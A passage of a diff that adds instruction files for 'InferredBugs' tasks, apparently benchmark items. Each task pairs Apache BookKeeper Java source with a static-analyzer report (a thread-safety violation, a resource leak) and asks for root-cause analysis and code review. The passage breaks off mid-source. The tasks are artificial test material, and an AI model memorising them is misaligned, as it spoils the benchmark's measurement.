+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        SyncObj x = (SyncObj) ctx;
+
+        synchronized (x) {
+            x.counter++;
+            x.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        ls = seq;
+
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+        sync = new SyncObj(); // initialize the synchronization data structure
+
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testMultiLedger` writes to field `this.org.apache.bookkeeper.test.BookieReadWriteTest.ls` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testMultiLedger()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testMultiLedger():void.aa595d12cc6aadb0c47f083c66314661
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testMultiLedger|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f9ba97f8f13374dc93ec511d94c1e66f
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7126/instruction.md b/inferredbugs-7126/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5e816fc677ea4819f29b8999c336643765848019
--- /dev/null
+++ b/inferredbugs-7126/instruction.md
@@ -0,0 +1,529 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+package org.apache.bookkeeper.bookie;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileFilter;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.io.RandomAccessFile;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.ConcurrentHashMap;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import org.apache.bookkeeper.conf.ServerConfiguration;
+import org.apache.bookkeeper.util.IOUtils;
+
+/**
+ * This class manages the writing of the bookkeeper entries. All the new
+ * entries are written to a common log. The LedgerCache will have pointers
+ * into files created by this class with offsets into the files to find
+ * the actual ledger entry. The entry log files created by this class are
+ * identified by a long.
+ */
+public class EntryLogger {
+    private static final Logger LOG = LoggerFactory.getLogger(EntryLogger.class);
+    private File dirs[];
+
+    long logId;
+    /**
+     * The maximum size of a entry logger file.
+     */
+    final long logSizeLimit;
+    private volatile BufferedChannel logChannel;
+    /**
+     * The 1K block at the head of the entry logger file
+     * that contains the fingerprint and (future) meta-data
+     */
+    final static int LOGFILE_HEADER_SIZE = 1024;
+    final ByteBuffer LOGFILE_HEADER = ByteBuffer.allocate(LOGFILE_HEADER_SIZE);
+
+    final static long MB = 1024 * 1024;
+
+    /**
+     * Scan entries in a entry log file.
+     */
+    static interface EntryLogScanner {
+        /**
+         * Tests whether or not the entries belongs to the specified ledger
+         * should be processed.
+         *
+         * @param ledgerId
+         *          Ledger ID.
+         * @return true if and only the entries of the ledger should be scanned.
+         */
+        public boolean accept(long ledgerId);
+
+        /**
+         * Process an entry.
+         *
+         * @param ledgerId
+         *          Ledger ID.
+         * @param entry
+         *          Entry ByteBuffer
+         * @throws IOException
+         */
+        public void process(long ledgerId, ByteBuffer entry) throws IOException;
+    }
+
+    /**
+     * Create an EntryLogger that stores it's log files in the given
+     * directories
+     */
+    public EntryLogger(ServerConfiguration conf) throws IOException {
+        this.dirs = Bookie.getCurrentDirectories(conf.getLedgerDirs());
+        // log size limit
+        this.logSizeLimit = conf.getEntryLogSizeLimit();
+
+        // Initialize the entry log header buffer. This cannot be a static object
+        // since in our unit tests, we run multiple Bookies and thus EntryLoggers
+        // within the same JVM. All of these Bookie instances access this header
+        // so there can be race conditions when entry logs are rolled over and
+        // this header buffer is cleared before writing it into the new logChannel.
+        LOGFILE_HEADER.put("BKLO".getBytes());
+        // Find the largest logId
+        logId = -1;
+        for(File dir: dirs) {
+            if (!dir.exists()) {
+                throw new FileNotFoundException(
+                        "Entry log directory does not exist");
+            }
+            long lastLogId = getLastLogId(dir);
+            if (lastLogId > logId) {
+                logId = lastLogId;
+            }
+        }
+        createNewLog();
+    }
+
+    /**
+     * Maps entry log files to open channels.
+     */
+    private ConcurrentHashMap<Long, BufferedChannel> channels = new ConcurrentHashMap<Long, BufferedChannel>();
+
+    /**
+     * Creates a new log file
+     */
+    private void createNewLog() throws IOException {
+        List<File> list = Arrays.asList(dirs);
+        Collections.shuffle(list);
+        if (logChannel != null) {
+            logChannel.flush(true);
+        }
+
+        // It would better not to overwrite existing entry log files
+        File newLogFile = null;
+        do {
+            String logFileName = Long.toHexString(++logId) + ".log";
+            for (File dir : list) {
+                newLogFile = new File(dir, logFileName);
+                if (newLogFile.exists()) {
+                    LOG.warn("Found existed entry log " + newLogFile
+                           + " when trying to create it as a new log.");
+                    newLogFile = null;
+                    break;
+                }
+            }
+        } while (newLogFile == null);
+
+        logChannel = new BufferedChannel(new RandomAccessFile(newLogFile, "rw").getChannel(), 64*1024);
+        logChannel.write((ByteBuffer) LOGFILE_HEADER.clear());
+        channels.put(logId, logChannel);
+        for(File f: dirs) {
+            setLastLogId(f, logId);
+        }
+    }
+
+    /**
+     * Remove entry log.
+     *
+     * @param entryLogId
+     *          Entry Log File Id
+     */
+    protected boolean removeEntryLog(long entryLogId) {
+        BufferedChannel bc = channels.remove(entryLogId);
+        if (null != bc) {
+            // close its underlying file channel, so it could be deleted really
+            try {
+                bc.getFileChannel().close();
+            } catch (IOException ie) {
+                LOG.warn("Exception while closing garbage collected entryLog file : ", ie);
+            }
+        }
+        File entryLogFile;
+        try {
+            entryLogFile = findFile(entryLogId);
+        } catch (FileNotFoundException e) {
+            LOG.error("Trying to delete an entryLog file that could not be found: "
+                    + entryLogId + ".log");
+            return false;
+        }
+        entryLogFile.delete();
+        return true;
+    }
+
+    /**
+     * writes the given id to the "lastId" file in the given directory.
+     */
+    private void setLastLogId(File dir, long logId) throws IOException {
+        FileOutputStream fos;
+        fos = new FileOutputStream(new File(dir, "lastId"));
+        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(fos));
+        try {
+            bw.write(Long.toHexString(logId) + "\n");
+            bw.flush();
+        } finally {
+            try {
+                fos.close();
+            } catch (IOException e) {
+            }
+        }
+    }
+
+    private long getLastLogId(File dir) {
+        long id = readLastLogId(dir);
+        // read success
+        if (id > 0) {
+            return id;
+        }
+        // read failed, scan the ledger directories to find biggest log id
+        File[] logFiles = dir.listFiles(new FileFilter() {
+            @Override
+            public boolean accept(File file) {
+                return file.getName().endsWith(".log");
+            }
+        });
+        List<Long> logs = new ArrayList<Long>();
+        for (File lf : logFiles) {
+            String idString = lf.getName().split("\\.")[0];
+            try {
+                long lid = Long.parseLong(idString, 16);
+                logs.add(lid);
+            } catch (NumberFormatException nfe) {
+            }
+        }
+        // no log file found in this directory
+        if (0 == logs.size()) {
+            return -1;
+        }
+        // order the collections
+        Collections.sort(logs);
+        return logs.get(logs.size() - 1);
+    }
+
+    /**
+     * reads id from the "lastId" file in the given directory.
+     */
+    private long readLastLogId(File f) {
+        FileInputStream fis;
+        try {
+            fis = new FileInputStream(new File(f, "lastId"));
+        } catch (FileNotFoundException e) {
+            return -1;
+        }
+        BufferedReader br = new BufferedReader(new InputStreamReader(fis));
+        try {
+            String lastIdString = br.readLine();
+            return Long.parseLong(lastIdString, 16);
+        } catch (IOException e) {
+            return -1;
+        } catch(NumberFormatException e) {
+            return -1;
+        } finally {
+            try {
+                fis.close();
+            } catch (IOException e) {
+            }
+        }
+    }
+
+    synchronized void flush() throws IOException {
+        if (logChannel != null) {
+            logChannel.flush(true);
+        }
+    }
+    synchronized long addEntry(long ledger, ByteBuffer entry) throws IOException {
+        if (logChannel.position() + entry.remaining() + 4 > logSizeLimit) {
+            createNewLog();
+        }
+        ByteBuffer buff = ByteBuffer.allocate(4);
+        buff.putInt(entry.remaining());
+        buff.flip();
+        logChannel.write(buff);
+        long pos = logChannel.position();
+        logChannel.write(entry);
+        //logChannel.flush(false);
+
+        return (logId << 32L) | pos;
+    }
+
+    byte[] readEntry(long ledgerId, long entryId, long location) throws IOException {
+        long entryLogId = location >> 32L;
+        long pos = location & 0xffffffffL;
+        ByteBuffer sizeBuff = ByteBuffer.allocate(4);
+        pos -= 4; // we want to get the ledgerId and length to check
+        BufferedChannel fc;
+        try {
+            fc = getChannelForLogId(entryLogId);
+        } catch (FileNotFoundException e) {
+            FileNotFoundException newe = new FileNotFoundException(e.getMessage() + " for " + ledgerId + " with location " + location);
+            newe.setStackTrace(e.getStackTrace());
+            throw newe;
+        }
+        if (fc.read(sizeBuff, pos) != sizeBuff.capacity()) {
+            throw new IOException("Short read from entrylog " + entryLogId);
+        }
+        pos += 4;
+        sizeBuff.flip();
+        int entrySize = sizeBuff.getInt();
+        // entrySize does not include the ledgerId
+        if (entrySize > MB) {
+            LOG.error("Sanity check failed for entry size of " + entrySize + " at location " + pos + " in " + entryLogId);
+
+        }
+        byte data[] = new byte[entrySize];
+        ByteBuffer buff = ByteBuffer.wrap(data);
+        int rc = fc.read(buff, pos);
+        if ( rc != data.length) {
+            throw new IOException("Short read for " + ledgerId + "@" + entryId + " in " + entryLogId + "@" + pos + "("+rc+"!="+data.length+")");
+        }
+        buff.flip();
+        long thisLedgerId = buff.getLong();
+        if (thisLedgerId != ledgerId) {
+            throw new IOException("problem found in " + entryLogId + "@" + entryId + " at position + " + pos + " entry belongs to " + thisLedgerId + " not " + ledgerId);
+        }
+        long thisEntryId = buff.getLong();
+        if (thisEntryId != entryId) {
+            throw new IOException("problem found in " + entryLogId + "@" + entryId + " at position + " + pos + " entry is " + thisEntryId + " not " + entryId);
+        }
+
+        return data;
+    }
+
+    private BufferedChannel getChannelForLogId(long entryLogId) throws IOException {
+        BufferedChannel fc = channels.get(entryLogId);
+        if (fc != null) {
+            return fc;
+        }
+        File file = findFile(entryLogId);
+        // get channel is used to open an existing entry log file
+        // it would be better to open using read mode
+        FileChannel newFc = new RandomAccessFile(file, "r").getChannel();
+        // If the file already exists before creating a BufferedChannel layer above it,
+        // set the FileChannel's position to the end so the write buffer knows where to start.
+        newFc.position(newFc.size());
+        synchronized (channels) {
+            fc = channels.get(entryLogId);
+            if (fc != null) {
+                newFc.close();
+                return fc;
+            }
+            fc = new BufferedChannel(newFc, 8192);
+            channels.put(entryLogId, fc);
+            return fc;
+        }
+    }
+
+    private File findFile(long logId) throws FileNotFoundException {
+        for(File d: dirs) {
+            File f = new File(d, Long.toHexString(logId)+".log");
+            if (f.exists()) {
+                return f;
+            }
+        }
+        throw new FileNotFoundException("No file for log " + Long.toHexString(logId));
+    }
+
+    /**
+     * Scan entry log
+     *
+     * @param entryLogId
+     *          Entry Log Id
+     * @param scanner
+     *          Entry Log Scanner
+     * @throws IOException
+     */
+    protected void scanEntryLog(long entryLogId, EntryLogScanner scanner) throws IOException {
+        ByteBuffer sizeBuff = ByteBuffer.allocate(4);
+        ByteBuffer lidBuff = ByteBuffer.allocate(8);
+        BufferedChannel bc;
+        // Get the BufferedChannel for the current entry log file
+        try {
+            bc = getChannelForLogId(entryLogId);
+        } catch (IOException e) {
+            LOG.warn("Failed to get channel to scan entry log: " + entryLogId + ".log");
+            throw e;
+        }
+        // Start the read position in the current entry log file to be after
+        // the header where all of the ledger entries are.
+        long pos = LOGFILE_HEADER_SIZE;
+        // Read through the entry log file and extract the ledger ID's.
+        while (true) {
+            // Check if we've finished reading the entry log file.
+            if (pos >= bc.size()) {
+                break;
+            }
+            if (bc.read(sizeBuff, pos) != sizeBuff.capacity()) {
+                throw new IOException("Short read for entry size from entrylog " + entryLogId);
+            }
+            pos += 4;
+            sizeBuff.flip();
+            int entrySize = sizeBuff.getInt();
+            if (entrySize > MB) {
+                LOG.warn("Found large size entry of " + entrySize + " at location " + pos + " in "
+                        + entryLogId);
+            }
+            sizeBuff.clear();
+            // try to read ledger id first
+            if (bc.read(lidBuff, pos) != lidBuff.capacity()) {
+                throw new IOException("Short read for ledger id from entrylog " + entryLogId);
+            }
+            lidBuff.flip();
+            long lid = lidBuff.getLong();
+            lidBuff.clear();
+            if (!scanner.accept(lid)) {
+                // skip this entry
+                pos += entrySize;
+                continue;
+            }
+            // read the entry
+            byte data[] = new byte[entrySize];
+            ByteBuffer buff = ByteBuffer.wrap(data);
+            int rc = bc.read(buff, pos);
+            if (rc != data.length) {
+                throw new IOException("Short read for ledger entry from entryLog " + entryLogId
+                                    + "@" + pos + "(" + rc + "!=" + data.length + ")");
+            }
+            buff.flip();
+            // process the entry
+            scanner.process(lid, buff);
+            // Advance position to the next entry
+            pos += entrySize;
+        }
+    }
+
+    /**
+     * Shutdown method to gracefully stop entry logger.
+     */
+    public void shutdown() {
+        // since logChannel is buffered channel, do flush when shutting down
+        try {
+            flush();
+            logChannel.getFileChannel().close();
+        } catch (IOException ie) {
+            // we have no idea how to avoid io exception during shutting down, so just ignore it
+            LOG.error("Error flush entry log during shutting down, which may cause entry log corrupted.", ie);
+        } finally {
+            if (logChannel.getFileChannel().isOpen()) {
+                IOUtils.close(LOG, logChannel.getFileChannel());
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 256 is not released after line 258.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+long EntryLogger.readLastLogId(File)
+
+### Procedure Id:
+org.apache.bookkeeper.bookie.EntryLogger.readLastLogId(java.io.File):long.8ace8f450d71d906070c82d407c1ff4b
+
+### File:
+bookkeeper-server/src/main/java/org/apache/bookkeeper/bookie/EntryLogger.java
+
+### Key:
+EntryLogger.java|readLastLogId|RESOURCE_LEAK
+
+### Node Key:
+5d3c6d99ff5b41e64b77061cdef5ab41
+
+### Hash:
+a02a56d7fb95e8131e936872cdff9352
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7127/instruction.md b/inferredbugs-7127/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e78a101760f0c4657339e64f91115c0e8cbc3b1a
--- /dev/null
+++ b/inferredbugs-7127/instruction.md
@@ -0,0 +1,747 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.proto;
+
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.util.ArrayDeque;
+import java.util.Queue;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.atomic.AtomicLong;
+
+import org.apache.bookkeeper.conf.ClientConfiguration;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.proto.BookkeeperInternalCallbacks.GenericCallback;
+import org.apache.bookkeeper.proto.BookkeeperInternalCallbacks.WriteCallback;
+import org.apache.bookkeeper.proto.BookkeeperInternalCallbacks.ReadEntryCallback;
+import static org.apache.bookkeeper.proto.BookieProtocol.PacketHeader;
+import org.apache.bookkeeper.util.OrderedSafeExecutor;
+import org.apache.bookkeeper.util.SafeRunnable;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.jboss.netty.util.Timer;
+import org.jboss.netty.util.HashedWheelTimer;
+import org.jboss.netty.bootstrap.ClientBootstrap;
+import org.jboss.netty.buffer.ChannelBuffer;
+import org.jboss.netty.buffer.ChannelBuffers;
+import org.jboss.netty.channel.Channel;
+import org.jboss.netty.channel.ChannelFactory;
+import org.jboss.netty.channel.ChannelFuture;
+import org.jboss.netty.channel.ChannelFutureListener;
+import org.jboss.netty.channel.ChannelHandlerContext;
+import org.jboss.netty.channel.ChannelPipeline;
+import org.jboss.netty.channel.ChannelPipelineCoverage;
+import org.jboss.netty.channel.ChannelPipelineFactory;
+import org.jboss.netty.channel.ChannelStateEvent;
+import org.jboss.netty.channel.Channels;
+import org.jboss.netty.channel.ExceptionEvent;
+import org.jboss.netty.channel.MessageEvent;
+import org.jboss.netty.channel.SimpleChannelHandler;
+import org.jboss.netty.channel.socket.ClientSocketChannelFactory;
+import org.jboss.netty.handler.codec.frame.CorruptedFrameException;
+import org.jboss.netty.handler.codec.frame.LengthFieldBasedFrameDecoder;
+import org.jboss.netty.handler.codec.frame.TooLongFrameException;
+import org.jboss.netty.handler.timeout.ReadTimeoutHandler;
+import org.jboss.netty.handler.timeout.ReadTimeoutException;
+
+/**
+ * This class manages all details of connection to a particular bookie. It also
+ * has reconnect logic if a connection to a bookie fails.
+ *
+ */
+
+@ChannelPipelineCoverage("one")
+public class PerChannelBookieClient extends SimpleChannelHandler implements ChannelPipelineFactory {
+
+    static final Logger LOG = LoggerFactory.getLogger(PerChannelBookieClient.class);
+
+    static final long maxMemory = Runtime.getRuntime().maxMemory() / 5;
+    public static int MAX_FRAME_LENGTH = 2 * 1024 * 1024; // 2M
+
+    InetSocketAddress addr;
+    Semaphore opCounterSem = new Semaphore(2000);
+    AtomicLong totalBytesOutstanding;
+    ClientSocketChannelFactory channelFactory;
+    OrderedSafeExecutor executor;
+    private Timer readTimeoutTimer;
+
+    ConcurrentHashMap<CompletionKey, AddCompletion> addCompletions = new ConcurrentHashMap<CompletionKey, AddCompletion>();
+    ConcurrentHashMap<CompletionKey, ReadCompletion> readCompletions = new ConcurrentHashMap<CompletionKey, ReadCompletion>();
+
+    /**
+     * The following member variables do not need to be concurrent, or volatile
+     * because they are always updated under a lock
+     */
+    Queue<GenericCallback<Void>> pendingOps = new ArrayDeque<GenericCallback<Void>>();
+    Channel channel = null;
+
+    private enum ConnectionState {
+        DISCONNECTED, CONNECTING, CONNECTED
+            };
+
+    private ConnectionState state;
+    private final ClientConfiguration conf;
+
+    public PerChannelBookieClient(OrderedSafeExecutor executor, ClientSocketChannelFactory channelFactory,
+                                  InetSocketAddress addr, AtomicLong totalBytesOutstanding) {
+        this(new ClientConfiguration(), executor, channelFactory, addr, totalBytesOutstanding);
+    }
+            
+    public PerChannelBookieClient(ClientConfiguration conf, OrderedSafeExecutor executor, ClientSocketChannelFactory channelFactory,
+                                  InetSocketAddress addr, AtomicLong totalBytesOutstanding) {
+        this.conf = conf;
+        this.addr = addr;
+        this.executor = executor;
+        this.totalBytesOutstanding = totalBytesOutstanding;
+        this.channelFactory = channelFactory;
+        this.state = ConnectionState.DISCONNECTED;
+        this.readTimeoutTimer = null;
+    }
+
+    synchronized private void connect() {
+        if (state == ConnectionState.CONNECTING) {
+            return;
+        } 
+        // Start the connection attempt to the input server host.
+        state = ConnectionState.CONNECTING;
+
+        if (LOG.isDebugEnabled())
+            LOG.debug("Connecting to bookie: " + addr);
+
+        // Set up the ClientBootStrap so we can create a new Channel connection
+        // to the bookie.
+        ClientBootstrap bootstrap = new ClientBootstrap(channelFactory);
+        bootstrap.setPipelineFactory(this);
+        bootstrap.setOption("tcpNoDelay", conf.getClientTcpNoDelay());
+        bootstrap.setOption("keepAlive", true);
+
+        ChannelFuture future = bootstrap.connect(addr);
+
+        future.addListener(new ChannelFutureListener() {
+            @Override
+            public void operationComplete(ChannelFuture future) throws Exception {
+                int rc;
+                Queue<GenericCallback<Void>> oldPendingOps;
+
+                synchronized (PerChannelBookieClient.this) {
+
+                    if (future.isSuccess()) {
+                        LOG.info("Successfully connected to bookie: " + addr);
+                        rc = BKException.Code.OK;
+                        channel = future.getChannel();
+                        state = ConnectionState.CONNECTED;
+                    } else {
+                        LOG.error("Could not connect to bookie: " + addr);
+                        rc = BKException.Code.BookieHandleNotAvailableException;
+                        channel = null;
+                        state = ConnectionState.DISCONNECTED;
+                    }
+
+                    PerChannelBookieClient.this.channel = channel;
+
+                    // trick to not do operations under the lock, take the list
+                    // of pending ops and assign it to a new variable, while
+                    // emptying the pending ops by just assigning it to a new
+                    // list
+                    oldPendingOps = pendingOps;
+                    pendingOps = new ArrayDeque<GenericCallback<Void>>();
+                }
+
+                for (GenericCallback<Void> pendingOp : oldPendingOps) {
+                    pendingOp.operationComplete(rc, null);
+                }
+            }
+        });
+    }
+
+    void connectIfNeededAndDoOp(GenericCallback<Void> op) {
+        boolean doOpNow;
+
+        // common case without lock first
+        if (channel != null && state == ConnectionState.CONNECTED) {
+            doOpNow = true;
+        } else {
+
+            synchronized (this) {
+                // check again under lock
+                if (channel != null && state == ConnectionState.CONNECTED) {
+                    doOpNow = true;
+                } else {
+
+                    // if reached here, channel is either null (first connection
+                    // attempt),
+                    // or the channel is disconnected
+                    doOpNow = false;
+
+                    // connection attempt is still in progress, queue up this
+                    // op. Op will be executed when connection attempt either
+                    // fails
+                    // or
+                    // succeeds
+                    pendingOps.add(op);
+
+                    connect();
+                }
+            }
+        }
+
+        if (doOpNow) {
+            op.operationComplete(BKException.Code.OK, null);
+        }
+
+    }
+
